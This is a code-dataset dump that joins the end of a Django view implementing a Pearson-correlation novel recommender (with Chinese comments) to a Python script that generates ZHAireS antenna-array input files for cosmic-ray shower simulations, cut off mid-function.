np.mean(ratings2_common)\r\n\r\n # 计算皮尔逊相关系数的分子和分母\r\n numerator = np.sum((ratings1_common - ratings1_mean) * (ratings2_common - ratings2_mean))\r\n denominator = np.sqrt(np.sum((ratings1_common - ratings1_mean) ** 2) * np.sum((ratings2_common - ratings2_mean) ** 2))\r\n\r\n if denominator == 0:\r\n return 0\r\n\r\n # 计算皮尔逊相关系数\r\n return numerator / denominator\r\n\r\n\r\ndef handle(request):\r\n\r\n # 获取所有用户和小说\r\n users = {user.user_id: user for user in User.objects.all()}\r\n novel_dict = {novel_obj.novel_id: novel_obj for novel_obj in novel.objects.all()}\r\n\r\n\r\n user_id_request = request.GET.get('user_id') # 获取请求中的用户ID\r\n\r\n # 初始化评分矩阵\r\n ratings_matrix = np.zeros((len(users), len(novel_dict)))\r\n # 填充评分矩阵\r\n for score_obj in Score.objects.all():\r\n user_index = list(users.keys()).index(score_obj.user_id)\r\n\r\n try:\r\n # 检查novel_dict字典中是否存在相应的小说ID\r\n novel_obj = score_obj.novel\r\n if novel_obj.novel_id not in novel_dict:\r\n print(\"Score对象引用的小说ID {} 不存在于novel_dict字典中。\".format(novel_obj.novel_id))\r\n continue\r\n except novel.DoesNotExist:\r\n print(\"Score对象引用的小说不存在。\")\r\n continue\r\n\r\n novel_index = list(novel_dict.keys()).index(novel_obj.novel_id)\r\n ratings_matrix[user_index, novel_index] = score_obj.score\r\n\r\n # 此时,ratings_matrix 是一个NumPy数组,其中行表示用户,列表示小说,数组中的每个元素表示用户对小说的评分。\r\n # 计算所有小说之间的皮尔逊相关系数矩阵\r\n num_novels = ratings_matrix.shape[1]\r\n pearson_matrix = np.zeros((num_novels, num_novels))\r\n for i in range(num_novels):\r\n for j in range(num_novels):\r\n pearson_matrix[i, j] = pearson_correlation(ratings_matrix[:, i], ratings_matrix[:, j])\r\n\r\n\r\n\r\n novel_dict_keys = list(novel_dict.keys())\r\n\r\n # 为每个用户生成推荐列表\r\n for user_index, user_ratings in enumerate(ratings_matrix):\r\n user_id = list(users.keys())[user_index]\r\n\r\n # 如果当前用户不是请求中的用户,则跳过\r\n if user_id != user_id_request:\r\n continue\r\n # 找到用户尚未评分的小说\r\n unrated_novels = np.where(user_ratings == 0)[0]\r\n\r\n\r\n # 计算这些未评分小说与用户已评分小说之间的相似度加权评分\r\n unrated_similarities = pearson_matrix[unrated_novels, :]\r\n user_rated_mask = user_ratings != 0\r\n weighted_scores = np.dot(unrated_similarities[:, user_rated_mask], user_ratings[user_rated_mask]) / np.sum(np.abs(unrated_similarities[:, user_rated_mask]), axis=1)\r\n\r\n # 根据加权评分对未评分小说进行排序,返回的是索引值\r\n recommended_novels = np.argsort(-weighted_scores)\r\n\r\n # 用于保存有效的推荐小说及其对应的加权评分\r\n valid_recommended_novels_and_scores = []\r\n\r\n # 遍历推荐的小说\r\n for novel_index in recommended_novels:\r\n # 检查这个小说是否在用户的未评分小说列表中,并且是否存在于 novel_dict\r\n if novel_dict_keys[unrated_novels[novel_index]] in novel_dict and unrated_novels[novel_index] in unrated_novels:\r\n # 如果是,那么保存这个小说的索引和加权评分\r\n valid_recommended_novels_and_scores.append((unrated_novels[novel_index], weighted_scores[novel_index]))\r\n\r\n # 创建一个新的推荐列表,只包含存在于 novel_dict_keys 中的索引值\r\n recommendations = [] # 修改为列表\r\n for i, score in valid_recommended_novels_and_scores:\r\n\r\n rnovel = novel_dict[novel_dict_keys[i]]\r\n if math.isnan(score): # 检查score是否为NaN\r\n score = '未知' # 如果是NaN,将其设置为None\r\n else:\r\n score = round(float(score), 2) # 否则,保留两位小数\r\n recommendations.append({\r\n 'novel_id': rnovel.novel_id,\r\n 'novel_title': rnovel.novel_title,\r\n 'novel_cover': rnovel.cover,\r\n 'author': rnovel.author,\r\n 'category': rnovel.category,\r\n 'score': score\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '推荐成功', 'recommendations': recommendations}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nimport random\r\nfrom api.models import novel, User, Score\r\ndef insertrandom(request):\r\n # 获取所有的novel和user对象\r\n all_novels = novel.objects.all()\r\n all_users = User.objects.all()\r\n\r\n # 设置插入评分的数量\r\n num_scores_to_insert = 100\r\n\r\n # 循环插入随机评分\r\n for _ in range(num_scores_to_insert):\r\n while True:\r\n # 从所有小说和用户中随机选择一个\r\n random_novel = random.choice(all_novels)\r\n random_user = random.choice(all_users)\r\n\r\n # 检查数据库中是否已经存在相同的用户和小说的评分记录\r\n existing_score = Score.objects.filter(user=random_user, novel=random_novel).first()\r\n\r\n # 如果不存在相同的记录,则跳出循环\r\n if existing_score is None:\r\n break\r\n\r\n # 生成一个1到10之间的随机评分\r\n random_score = random.randint(1, 10)\r\n\r\n # 创建一个Score对象并保存到数据库\r\n score_entry = Score(score=random_score, user=random_user, novel=random_novel)\r\n score_entry.save()\r\n return JsonResponse({'status': '200', 'message': '插入成功'}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n\r\n# # 打印小说相似度矩阵\r\n # similarity_matrix_decimal = np.round(pearson_matrix, 1)\r\n # print(\"小说相似度矩阵(皮尔逊相关系数):\")\r\n # print(similarity_matrix_decimal)\r\n\r\n\r\n# # 根据加权评分对未评分小说进行排序\r\n # recommended_novels = np.argsort(-weighted_scores)\r\n #\r\n # # 创建一个新的推荐列表,只包含存在于 novel_dict_keys 中的索引值\r\n # # 并确保这些小说在用户的未评分小说列表中\r\n # valid_recommended_novels = [unrated_novels[i] for i in recommended_novels if novel_dict_keys[unrated_novels[i]] in novel_dict and unrated_novels[i] in unrated_novels]\r\n #\r\n # # 使用新的推荐列表来创建输出字符串,同时包含小说的加权分数\r\n # recommendations = {novel_dict[novel_dict_keys[i]].novel_title: weighted_scores[i] for i in valid_recommended_novels}\r\n # print(\"为用户{}推荐的小说及其对应的加权分数:\".format(users[user_id].username), recommendations)\r\n\r\n\r\n\r\n # # 计算这些未评分小说与用户已评分小说之间的相似度加权评分\r\n # unrated_similarities = pearson_matrix[unrated_novels, :]\r\n # user_rated_mask = user_ratings != 0\r\n # weighted_scores = np.dot(unrated_similarities[:, user_rated_mask], user_ratings[user_rated_mask]) / np.sum(np.abs(unrated_similarities[:, user_rated_mask]), axis=1)\r\n #\r\n # # 根据加权评分对未评分小说进行排序\r\n # recommended_novels = np.argsort(-weighted_scores)\r\n #\r\n # # 创建一个新的推荐列表,只包含存在于 novel_dict_keys 中的索引值\r\n # # 并确保这些小说在用户的未评分小说列表中\r\n # valid_recommended_novels = [unrated_novels[i] for i in recommended_novels if novel_dict_keys[unrated_novels[i]] in novel_dict and unrated_novels[i] in unrated_novels]\r\n #\r\n # # 使用新的推荐列表来创建输出字符串\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].novel_title for i in valid_recommended_novels])\r\n\r\n\r\n# # 计算这些未评分小说与用户已评分小说之间的相似度加权评分\r\n # weighted_scores = np.dot(pearson_matrix[unrated_novels, :], user_ratings) / np.sum(np.abs(pearson_matrix[unrated_novels, :]), axis=1)\r\n\r\n# # 根据加权评分对未评分小说进行排序\r\n # recommended_novels = np.argsort(-weighted_scores)\r\n #\r\n # # 创建一个新的推荐列表,只包含存在于 novel_dict_keys 中的索引值\r\n # valid_recommended_novels = [i for i in recommended_novels if novel_dict_keys[i] in novel_dict]\r\n #\r\n # # 使用新的推荐列表来创建输出字符串\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].novel_title for i in valid_recommended_novels])\r\n\r\n\r\n# import random\r\n# from api.models import novel, User, Score\r\n# def insertrandom(request):\r\n# # 获取所有的novel和user对象\r\n# all_novels = novel.objects.all()\r\n# all_users = User.objects.all()\r\n#\r\n# # 为每个用户和每本小说插入一次随机评分\r\n# for user in all_users:\r\n# for novel_item in all_novels:\r\n# # 生成一个1到10之间的随机评分\r\n# random_score = random.randint(1, 10)\r\n# # 创建一个Score对象并保存到数据库\r\n# score_entry = Score(score=random_score, user=user, novel=novel_item)\r\n# score_entry.save()\r\n\r\n\r\n\r\n\r\n# valid_recommended_novels = [i for i in recommended_novels if i < len(novel_dict_keys)]\r\n #\r\n # # 使用新的推荐列表来创建输出字符串\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].novel_title for i in valid_recommended_novels])\r\n\r\n# print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].novel_title for i in recommended_novels if i < len(novel_dict_keys)])\r\n\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].novel_title for i in recommended_novels])\r\n\r\n # # 输出推荐的小说列表\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username),[novel_dict[novel_dict_keys[i]].name for i in recommended_novels])\r\n #\r\n # print(\"为用户{}推荐的小说:\".format(users[user_id].username), [novel_dict[i].name for i in recommended_novels])","repo_name":"alex20011104/wechatbook","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":33151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23893439000","text":"import os\nimport sys\nimport numpy as np\nimport random\n#import matplotlib.pyplot as plt #in lyon you dont need to plot (and it will crash cos it cannot open the display\n#from mpl_toolkits.mplot3d import Axes3D #\n#other, nore elegant solution:\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\n#set the time window as a function of xmaxdistance, in meters\ndef CreateSmartTimeWindowInp(xmaxdistance,OutputFile,AdditionalTmin=0,AdditionalTmax=200):\n\n file= open(OutputFile, \"a\")\n\n params=[-7.58890582e+01, 6.96201680e-01, -9.52616492e+02, 2.28302828e-02, 5.16280889e-01, -2.02393863e-03]\n def LowTimeLimit(x, a, b, c, d,e,f):\n #input XmaxDistance in km\n if(x<2.5):\n return -500\n elif(x>141):\n return -150\n else:\n return -110 + a + b*np.sqrt(x) + c/(x+d) + e*x + f*x*x\n\n def HighTimeLimit(x,a, b, c, d,e,f):\n #input XmaxDistance in km\n if(x<0):\n return 2500\n elif(x>141):\n return 150\n elif(x>34):\n return -(-110 + a + b*np.sqrt(x) + c/(x+d) + e*x + f*x*x)\n else:\n return 2500-69*x\n\n Tmin=AdditionalTmin+LowTimeLimit(xmaxdistance/1000.0, params[0], params[1], params[2], params[3],params[4],params[5])\n Tmax=AdditionalTmax+HighTimeLimit(xmaxdistance/1000.0, params[0], params[1], params[2], params[3],params[4],params[5])\n\n file.write('######################################################################################\\n')\n file.write('# Antenna TimeWindow created with CreateSmartTimeWindowInp v0.1 #\\n')\n file.write('# Xmax to Antenna Distance:{0:.2f} km\\n'.format(xmaxdistance/1000))\n file.write('######################################################################################\\n')\n file.write('AntennaTimeMin {0:0.1f} ns\\n'.format(Tmin))\n file.write('AntennaTimeMax {0:0.1f} ns\\n'.format(Tmax))\n file.write('ExpectedXmaxDist {0:0.1f} m\\n'.format(xmaxdistance))\n file.write('######################################################################################\\n\\n')\n\n\n\n#This function generate the AddaAntenna commands from an antenna list\n\ndef CreateAiresAntennaListInp(AntennaPositions,OutputFile,AntennaNames=None,AntennaSelection='All'):\n\n# AntennaPositions : numpy array with the antenna positions\n# OutputFile will be where the the output will be directed. If the file exists, it will append it\n# AntennaNames: None will name the antennas A0, A1, A2...etc\n# if a list of string is entered, it will use those names.\n# AntennaSelection: All - uses all the antennas\n# if an array of indices is entered, only antennas on that index will be used\n file= open(OutputFile, \"a\")\n\n file.write('\\n####################################################################################\\n')\n file.write('# Antenna List created with CreateAntennaListInp v0.1 #\\n')\n file.write('####################################################################################\\n')\n\n nantennnas=len(AntennaPositions[:,1])\n\n if(len(AntennaSelection)==1):\n if(AntennaSelection==\"All\" or AntennaSelection==\"all\"):\n AntennaSelection=np.arange(0,nanntenas)\n\n if(AntennaNames==None):\n AntennaNames=[]\n for i in range(0,nantennnas):\n AntennaNames.append(\"None\")\n for i in AntennaSelection:\n AntennaNames[i]=\"A\"+str(i)\n\n for i in AntennaSelection:\n\n file.write(\"AddAntenna {0:s} {1:11.2f} {2:11.2f} {3:11.2f}\\n\".format(AntennaNames[i],AntennaPositions[i,0],AntennaPositions[i,1],AntennaPositions[i,2]))\n\n\n file.write('####################################################################################\\n')\n file.write('FresnelTime On\\n')\n file.write('ZHAireS On\\n')\n file.write('####################################################################################\\n')\n file.write('# CreateAntennaListInp Finished #\\n')\n file.write('####################################################################################\\n\\n')\n\n file.close()\n\n\n#This function generates the star shape positions for antennas on a slope, or on flat ground\n\n#Caveats: 1) You can have negative altitude antennas in the input, as long as the local altitude of the antena keeps being positive.\n# The index of refraction model will break if altitude is negative. So be carefull if you are going for inclined planes. There is a way to keep the pattern contained in the slope\n# see the code for hints on how to do this\n\ndef CreateAiresStarShapeInp(zenith, azimuth, alpha, az_slope, cone_vertex=100000.0, cone_ang=2.0, nant=20, az_B=0.0, zen_B=147.4, outputfile=\"TestInput.inp\", outmode=\"a\", RandomFraction = 0, stepmode=\"linear\", projection=\"Geometric\",vspread=0):\n\n #==============================================================================\n #Original version from A. Zilles, extensivly modified by M. Tueros in Oct 2019\n\n #Zenith[deg, AIRES,deg]:\n #Azimuth[deg, AIRES,deg]:\n #Alpha: slope of the ground\n #az_Slope: azimuth of the slope. If az_slope=azimuth, the slope is facing perpendicular to the the shower\n #cone_vertex (dist_fromxmax) [m]: Ditance from the core to the vertex of the cone defining the starshape pattern (it should be xmax, or before xmax, to make sense).\n #cone_ang (max_ang) [deg]: Aperture of the cone of the starshape patern. (2 deg)\n #nant= number of antennas per arm, 8 arms (so you end with nant*8). Antennas will be equally spaced along the arm.\n #az_B: Azimuth of the magnetic field, to get the vxB components. Usually 0 if azimuth 0 points north (Aires Magnetic coordinates).\n #zen_B: Zenith of the magnetic field. 147,43 deg in Lenghu (152.95 deg in ullastay??), Direction where we point to (incl +90)\n #outputfile: path and name of the outputfile (generally ending in .inp)\n #outmode:a for append, w to overwrite (it seems that it always append...)\n #RandomFraction: If you want to add a fraction of antenas spaced randomly (but uniformly random)\n #stepmode: 2 stepping modes are implemented: \"linear\" will go from 0 (not included) to cone_ang (included) in steps of cone_ang/nant\n # \"quadratic\" will go from 0 (not included) to cone_ang (included) in cuadratic steps, with an offset\n #projection: 2 projection modes are implemented: \"geometric\" wich projects the starshape paralel to the shower axis. This gives an elipse centered on 0,0\n # \"conical\" which projects the starshape through a cone with given vertex. This gives an elipse with 0,0 in the focus. This projection conserves the angle of the antenna with the shower direction\n #vspread: random (uniformly distributed) spread between (-vspread and + vspread) in Z coordinate of the random check antennas, to test the effect of topography\n\n # Here (x,y,z) = (Northing,Westing, Up). Alt ref at sea level.\n # Use Zhaires (theta, phi) convention: defined wrt direction of origin\n # inside Zhaires a conversion to zaxis down is made\n degtorad= np.pi/180.\n radtodeg= 180./np.pi\n\n DISPLAY = 0\n PRINT = 1\n\n # mountain slope\n alpha = float(alpha)*degtorad\n\n ## Angles: ATTENTION use ZHAireS angle convention\n zen2=float(zenith)*degtorad\n az2=float(azimuth)*degtorad\n\n zen_rad=zen2\n az_rad=az2\n\n #Since the shower core is always on 0,0,ground and this gives negative antenna heights (which are disliked by coreas), you might want to \"move\" the slope until it intesects the shower axis\n #high enough so that you dont have negative antennas. Note however, that this will make the distance to xmax shorter by an amount that depends on the geometry. This might or not\n #be important acording to your needs. Here is a model that uses a fixed refraction index that estimates the cherenkov cone width, and moves the intersection so that the cherenkov\n #cone is always on a positive height antenna. But you could also hard code a fixed height, or a fixed angle (i.e, make the angle equal to the cone angle)\n #for kumiko study i will fix it to 0, so that the antenna pattern is centered at 0,0,ground\n # translation , c includes already (0,0,h)\n\n theta_ch=0 #set to 0 to have all antenna patterns centered in the origin (h will be 0)\n #theta_ch=cone_ang*degtorad #theta ch controls the widht of the cone used to compute the height of the center of the cone., in order to intercept the mountain plane before\n #n_ref=1.0003 # usually depends on density at Xmax, here neglected\n #theta_ch=np.arccos(1./n_ref)\n y= -cone_vertex * np.sin(theta_ch)*np.cos(zen_rad-alpha+theta_ch)/( (np.sin(zen_rad-alpha))**2. -(np.cos(theta_ch))**2. ) # major axis od ellipse\n h= np.sin(alpha) *y # height of antenna array center on the mountain, if complete shower should be on the mountain\n\n\n ### Create star shape in GRAND coordinates\n # Direction where Earth mag field points to\n az_B = az_B*degtorad # North = Magnetic North\n zen_B = zen_B*degtorad #Direction where we point to\n B = np.array([np.cos(az_B)*np.sin(zen_B),np.sin(az_B)*np.sin(zen_B),np.cos(zen_B)]) #in LOFAR coordinates\n\n v = np.array([np.cos(az_rad)*np.sin(zen_rad),np.sin(az_rad)*np.sin(zen_rad),np.cos(zen_rad)])\n v = v/np.linalg.norm(v)\n vxB = np.array([v[1]*B[2]-v[2]*B[1],v[2]*B[0]-v[0]*B[2],v[0]*B[1]-v[1]*B[0]])\n vxB = vxB/np.linalg.norm(vxB)\n vxvxB = np.array([v[1]*vxB[2]-v[2]*vxB[1],v[2]*vxB[0]-v[0]*vxB[2],v[0]*vxB[1]-v[1]*vxB[0]])\n vxvxB = vxvxB/np.linalg.norm(vxvxB)\n\n\n ## in principle, antenna array center should be at a fixed height on a slanted surface,\n ## just the star shape pattern should be orientated with the shower direction\n ####### projection on mountain\n\n # define mountain slope as plane which is always facing the shower\n az_mount=np.deg2rad(az_slope)\n umountain=np.array([np.cos(az_mount+0.5*np.pi), np.sin(az_mount+0.5*np.pi),0.]) # always z=0, vector should be perp to shower axis = az_mount +0.5*pi\n vmountain=np.array([np.sin(0.5*np.pi-alpha)*np.cos(az_mount+np.pi), np.sin(0.5*np.pi-alpha)*np.sin(az_mount+np.pi), np.cos(0.5*np.pi-alpha) ]) # describes the mountain slope and should be perp to u,0.5*np.pi-alpha to account for mountain slope, az_mount+np.pi because slope pointing towards inverse dir of shower\n n=np.cross(umountain,vmountain)\n\n #NOTE: z component of alpha flipped\n a =np.array([np.sin(zen_rad)*np.cos(az_rad), np.sin(zen_rad)*np.sin(az_rad), np.cos(zen_rad)]) # shower direction\n #print(a,zen_rad,az_rad,\"first!\")\n a=a/mag(a)\n a_op = np.array([a[0], a[1],0]) #ortogonal projection on ground to shift for shower axis\n #print(a_op,\"second!\")\n if(mag(a_op)!=0):\n a_op=a_op/mag(a_op)\n\n d= h* np.tan(zen_rad)# shift length to respect shower axis\n\n r0= np.array([0,0,h]) + d*a_op# +c* vmountain #works like plane0, gives you the positions vector of the projection\n\n nrandom=int(nant*8*float(RandomFraction))\n\n #### star shape pattern in xyz\n xyz1=np.zeros([nant*8+nrandom,3]) # original starshape\n xyz=np.zeros([nant*8+nrandom,3]) # projection\n xyz2=np.zeros([nant*8+nrandom,3]) # back trafo in vxvxB\n xyz3=np.zeros([nant*8+nrandom,3]) # conical projection of starshape on ground\n\n #position of xmax\n XmaxPosition=v*cone_vertex\n\n\n max_ang = cone_ang*degtorad # Most distant antenans are max_ang from axis\n linstep = cone_vertex*np.tan(max_ang)/nant\n if(stepmode==\"linear\" or stepmode==\"Linear\"):\n for i in np.arange(1,nant+1): #AZ setup\n for j in np.arange(8):\n step= i*linstep\n xyz0 = step*(np.cos(float(j/4.0)*np.pi)*vxB+np.sin(float(j/4.0)*np.pi)*vxvxB) # pattern in xyz xyz0 # z*vmountain=0, since z=0\n xyz1[(i-1)*8+j]=xyz0 # original starshape produced\n\n # intersection of shower and mountain plane\n b=-np.dot(n,xyz1[(i-1)*8+j])/ np.dot(n, a)\n xyz[(i-1)*8+j]= xyz1[(i-1)*8+j] +b*a +r0 # projected\n\n # conical projection. In the line of the antenna to the vertex, we pick the position of the antenna, the position of the vertex, and look for the point at z=0 along the line\n #parametric ecuaton of a line between p1 and p2 line =(1-u)*p1 + u*p2\n #p1=xmax position p2=starshape position\n u=(0.0-XmaxPosition[2])/(xyz0[2]-XmaxPosition[2])\n xyz3[(i-1)*8+j]=(1-u)*XmaxPosition+u*xyz0\n\n\n cuadofset = 0.15 #it was 0.25 the first time we used it, but i want more antensas inside the cone. this requires max_ang to be more than 0.04...its small enough for all practical aplications\n cuadstep = (np.sqrt(cone_ang)-cuadofset)/nant\n\n\n if(stepmode==\"quadratic\" or stepmode==\"Quadratic\"):\n for i in np.arange(1,nant+1): #AZ setup\n for j in np.arange(8):\n step = (i*cuadstep+cuadofset)*(i*cuadstep+cuadofset)\n #if(j==1):\n # print(cone_vertex*np.tan(step*degtorad),cuadstep,i)\n xyz0 = cone_vertex*np.tan(step*degtorad)*(np.cos(float(j/4.0)*np.pi)*vxB+np.sin(float(j/4.0)*np.pi)*vxvxB) # pattern in xyz xyz0 # z*v=0, since z=0\n xyz1[(i-1)*8+j]=xyz0 # original starshape produced\n\n # intersection of shower and mountain plane\n b=-np.dot(n,xyz1[(i-1)*8+j])/ np.dot(n, a)\n xyz[(i-1)*8+j]= xyz1[(i-1)*8+j] +b*a +r0 # projected\n\n # conical projection. In the line of the antenna to the vertex, we pick the position of the antenna, the position of the vertex, and look for the point at z=0 along the line\n #parametric ecuaton of a line between p1 and p2 line =(1-u)*p1 + u*p2\n #p1=xmax position p2=starshape position\n u=(0.0-XmaxPosition[2])/(xyz0[2]-XmaxPosition[2])\n xyz3[(i-1)*8+j]=(1-u)*XmaxPosition+u*xyz0\n\n\n ##set of random test points\n for i in np.arange(0,nrandom):\n\n randomd= linstep*nant*np.sqrt(float(random.uniform(0, 1))) #we use the square root to sample the area uniformly.\n randomangle= 2*np.pi*float(random.uniform(0, 1))\n\n xyz0 = randomd*(np.cos(randomangle)*vxB+np.sin(randomangle)*vxvxB) # pattern in xyz xyz0 # z*v=0, since z=0\n xyz1[nant*8+i]=xyz0 # original starshape produced\n\n # intersection of shower and mountain plane\n b=-np.dot(n,xyz1[nant*8+i])/ np.dot(n, a)\n xyz[nant*8+i]= xyz1[nant*8+i] +b*a +r0 # projected\n\n # conical projection. In the line of the antenna to the vertex, we pick the position of the antenna, the position of the vertex, and look for the point at z=0 along the line\n #parametric ecuaton of a line between p1 and p2 line =(1-u)*p1 + u*p2\n #p1=xmax position p2=starshape position\n u=(0.0-XmaxPosition[2])/(xyz0[2]-XmaxPosition[2])\n xyz3[nant*8+i]=(1-u)*XmaxPosition+u*xyz0\n\n if(vspread>0):\n spread=random.uniform(-vspread,vspread)\n xyz[nant*8+i,2]+=spread\n xyz3[nant*8+i,2]+=spread\n\n\n\n #GetTmin AND Tmax\n\n params=[-7.58890582e+01, 6.96201680e-01, -9.52616492e+02, 2.28302828e-02, 5.16280889e-01, -2.02393863e-03]\n def LowTimeLimit(x, a, b, c, d,e,f):\n #input XmaxDistance in km\n if(x<2.5):\n return -500\n elif(x>141):\n return -150\n else:\n return -110 + a + b*np.sqrt(x) + c/(x+d) + e*x + f*x*x\n\n def HighTimeLimit(x,a, b, c, d,e,f):\n #input XmaxDistance in km\n if(x<0):\n return 2500\n elif(x>141):\n return 150\n elif(x>34):\n return -(-110 + a + b*np.sqrt(x) + c/(x+d) + e*x + f*x*x)\n else:\n return 2500-69*x\n\n Tmin=LowTimeLimit(cone_vertex/1000.0 - 3.0, params[0], params[1], params[2], params[3],params[4],params[5])\n Tmax=200 + HighTimeLimit(cone_vertex/1000.0 - 3.0, params[0], params[1], params[2], params[3],params[4],params[5])\n\n if PRINT:\n print (\"produce input file ....\"+ outputfile)\n\n file= open(outputfile, outmode)\n\n file.write('\\n####################################################################################\\n')\n file.write('# Starshape Pattern created with CreateAiresStarshapeInp v1.3\\n')\n file.write('# mountain slope: {0:.2f} deg\\n'.format(alpha*radtodeg))\n file.write('# mountain azimuth: {0:.2f} deg\\n'.format(az_slope))\n file.write('# cone vertex distance: {0:.3f} Km\\n'.format(cone_vertex/1000.0))\n file.write('# cone angle: {0:.2f} deg\\n'.format(cone_ang))\n file.write('# Number of Antennas per ray: {0:d}\\n'.format(nant))\n file.write('# Separation Mode: {0:s}\\n'.format(stepmode))\n file.write('# Projection Mode: {0:s}\\n'.format(projection))\n file.write('# Magnetic Field Zenith: {0:.2f} deg\\n'.format(zen_B*radtodeg))\n file.write('# Magnetic Field Azimuth: {0:.2f} deg\\n'.format(az_B*radtodeg))\n file.write('# Adjusting time window with distance\\n')\n file.write('####################################################################################\\n\\n')\n file.write('ZHAireS On\\n')\n file.write('FresnelTime On\\n')\n file.write('AntennaTimeMin {0:0.1f} ns\\n'.format(Tmin))\n file.write('AntennaTimeMax {0:0.1f} ns\\n'.format(Tmax))\n file.write('ExpectedXmaxDist {0:0.1f} m\\n'.format(cone_vertex-3000))\n\n for i in np.arange(nant*8):\n if(projection==\"geometric\" or projection==\"Geometric\"):\n file.write(\"AddAntenna A{0:d} {1:11.2f} {2:11.2f} {3:11.2f}\\n\".format(int(i),xyz[i,0],xyz[i,1],xyz[i,2]))\n elif(projection==\"conical\" or projection==\"Conical\"):\n file.write(\"AddAntenna A{0:d} {1:11.2f} {2:11.2f} {3:11.2f}\\n\".format(int(i),xyz3[i,0],xyz3[i,1],xyz3[i,2]))\n\n file.write('####################################################################################\\n\\n')\n if(nrandom>0):\n file.write('#{0:d} Crosscheck Antennas ########################################################\\n\\n'.format(nrandom))\n if(vspread>0):\n file.write('# VerticalSpread: {0:.2f} m\\n'.format(vspread))\n for i in np.arange(nrandom):\n if(projection==\"geometric\" or projection==\"Geometric\"):\n file.write(\"AddAntenna CrossCheckA{0:d} {1:11.2f} {2:11.2f} {3:11.2f}\\n\".format(int(nant*8+i),xyz[nant*8+i,0],xyz[nant*8+i,1],xyz[nant*8+i,2]))\n elif(projection==\"conical\" or projection==\"Conical\"):\n file.write(\"AddAntenna CrossCheckA{0:d} {1:11.2f} {2:11.2f} {3:11.2f}\\n\".format(int(nant*8+i),xyz3[nant*8+i,0],xyz3[nant*8+i,1],xyz3[nant*8+i,2]))\n file.write('####################################################################################\\n\\n')\n\n file.close()\n\n if DISPLAY:\n\n for i in np.arange(nant*8):\n if(projection==\"geometric\" or projection==\"Geometric\"):\n xyz2[i]=GetUVW(xyz[i], r0[0], r0[1], r0[2], zen_rad, az_rad, az_B, zen_B)# as used later to fo in vxB\n elif(projection==\"conical\" or projection==\"Conical\"):\n #print(\"Antenna\",i)\n planeNormal=a\n #print(\"planeNormal\",planeNormal)\n planePoint=np.array([0,0,0]) #the starshape is always on the ground when generated for ZHAireS\n #print(\"planePoint\",planePoint)\n rayDirection=xyz3[i]-XmaxPosition\n #print(\"rayDirection\",rayDirection)\n rayPoint=XmaxPosition\n #print(\"rayPoint\",rayPoint)\n xyz2[i]=LinePlaneCollision(planeNormal, planePoint, rayDirection, rayPoint, epsilon=1e-6)\n #print(\"collision\",xyz2[i])\n xyz2[i]=GetUVW(xyz2[i], r0[0], r0[1], r0[2], zen_rad, az_rad, az_B, zen_B)# as used later to fo in vxB\n #print(\"UVW\",xyz2[i])\n\n shower=np.zeros([200,3])\n mount_u=np.zeros([200,3])\n mount_v=np.zeros([200,3])\n for i in np.arange(0,200):\n shower[i]= (i-100)*100 *a +r0\n mount_u[i]= (i-100)*100 *umountain +r0\n mount_v[i]= (i-100)*100 *vmountain +r0\n fig1=plt.figure(1, figsize=(12, 10), dpi=120, facecolor='w', edgecolor='k')\n title=\"zen_G=\"+str(zen_rad*radtodeg) + \" az_G=\"+str(az_rad*radtodeg) + \" slope=\" +str(alpha*radtodeg)\n fig1.suptitle(title, fontsize=16)\n\n from mpl_toolkits.mplot3d import Axes3D\n ax = fig1.add_subplot(111, projection='3d')\n ax.scatter(xyz1[:,0],xyz1[:,1],xyz1[:,2],label=\"(vxB, vxvxB) starshape\")\n if(projection==\"geometric\" or projection==\"Geometric\"):\n ax.scatter(xyz[:,0],xyz[:,1],xyz[:,2],label=\"geometrical projection\")\n elif(projection==\"conical\" or projection==\"Conical\"):\n ax.scatter(xyz3[:,0],xyz3[:,1],xyz3[:,2],label=\"conical projection\")\n ax.scatter(xyz2[:,0],xyz2[:,1],xyz2[:,2],label=\"backprojection\")\n ax.plot(shower[:,0],shower[:,1],shower[:,2], c='blue',label=\"shower\") # shower\n ax.plot(mount_u[:,0],mount_u[:,1],mount_u[:,2], c='black',label=\"mountainu\") # mountain\n ax.plot(mount_v[:,0],mount_v[:,1],mount_v[:,2], c='red',label=\"mountainv\") # mountain\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('z')\n plt.legend(loc = 'best')\n\n fig2=plt.figure(2, figsize=(12, 10), dpi=120, facecolor='w', edgecolor='k')\n ax2 = fig2.add_subplot(111,projection='3d')\n ax2.scatter(xyz2[:,1],xyz2[:,2],label=\"conical projection\")\n\n\n plt.show()\n\ndef mag(x):\n y=0\n for i in range(0,len(x)):\n y=y+float(x[i])*float(x[i])\n #print i , float(x[i])*float(x[i]), y\n return float(np.sqrt(float(y)))\n\n\n# NOTE: this functions returns other order of coordinates since the 3rd component should be zero in shower coordinates\ndef GetUVW(pos, cx, cy, cz, zen, az, phigeo, bfieldangle):\n\n relpos = pos-np.array([cx,cy,cz])\n inc=bfieldangle\n\n B = np.array([np.cos(phigeo)*np.sin(inc), np.sin(phigeo)*np.sin(inc),np.cos(inc)]) #from oliviers script including phigeo\n B=B/np.linalg.norm(B)\n v = np.array([np.cos(az)*np.sin(zen),np.sin(az)*np.sin(zen),np.cos(zen)]) # or *-1: change the direction\n v=v/np.linalg.norm(v)\n #print v\n vxB = np.cross(v,B) #np.array([v[1]*B[2]-v[2]*B[1],v[2]*B[0]-v[0]*B[2],v[0]*B[1]-v[1]*B[0]]) # crossproduct\n vxB = vxB/np.linalg.norm(vxB)\n vxvxB = np.cross(v,vxB) 